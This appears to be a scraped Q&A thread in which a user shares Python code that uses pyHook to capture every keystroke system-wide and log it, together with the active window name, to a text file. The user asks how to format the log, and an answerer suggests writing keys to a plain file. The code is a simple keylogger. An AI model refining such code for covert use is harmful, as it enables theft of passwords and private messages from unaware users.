tags:

views:

47

answers:

1
import pythoncom, pyHook, logging, string

LOG_FILENAME = 'logfile.txt'

def OnKeyboardEvent(event):
    print 'MessageName:',event.MessageName
    print 'Time:',event.Time
    print 'WindowName:',event.WindowName
    print 'Ascii:', event.Ascii, chr(event.Ascii)
    print 'Key:', event.Key
    print '---'
    k = event.Key
    logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG, 
                        format='%(message)s')
    logging.debug(k)

    return True

    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

In the logfile.txt the message shows seperate letters on different lines, how can I make it show the message on the same line?

A: 

There doesn't seem to be any way to make Logger.debug() append messages to the same line. Since your log file format is so simple, why not just use a plain file object?

logger = open(LOG_FILENAME, 'a')
logger.write(k)
logger.close()
too much php
"too much php" now that prints every letter on the same line, now how would i make it to print it like that but each message goes on a different line.
sourD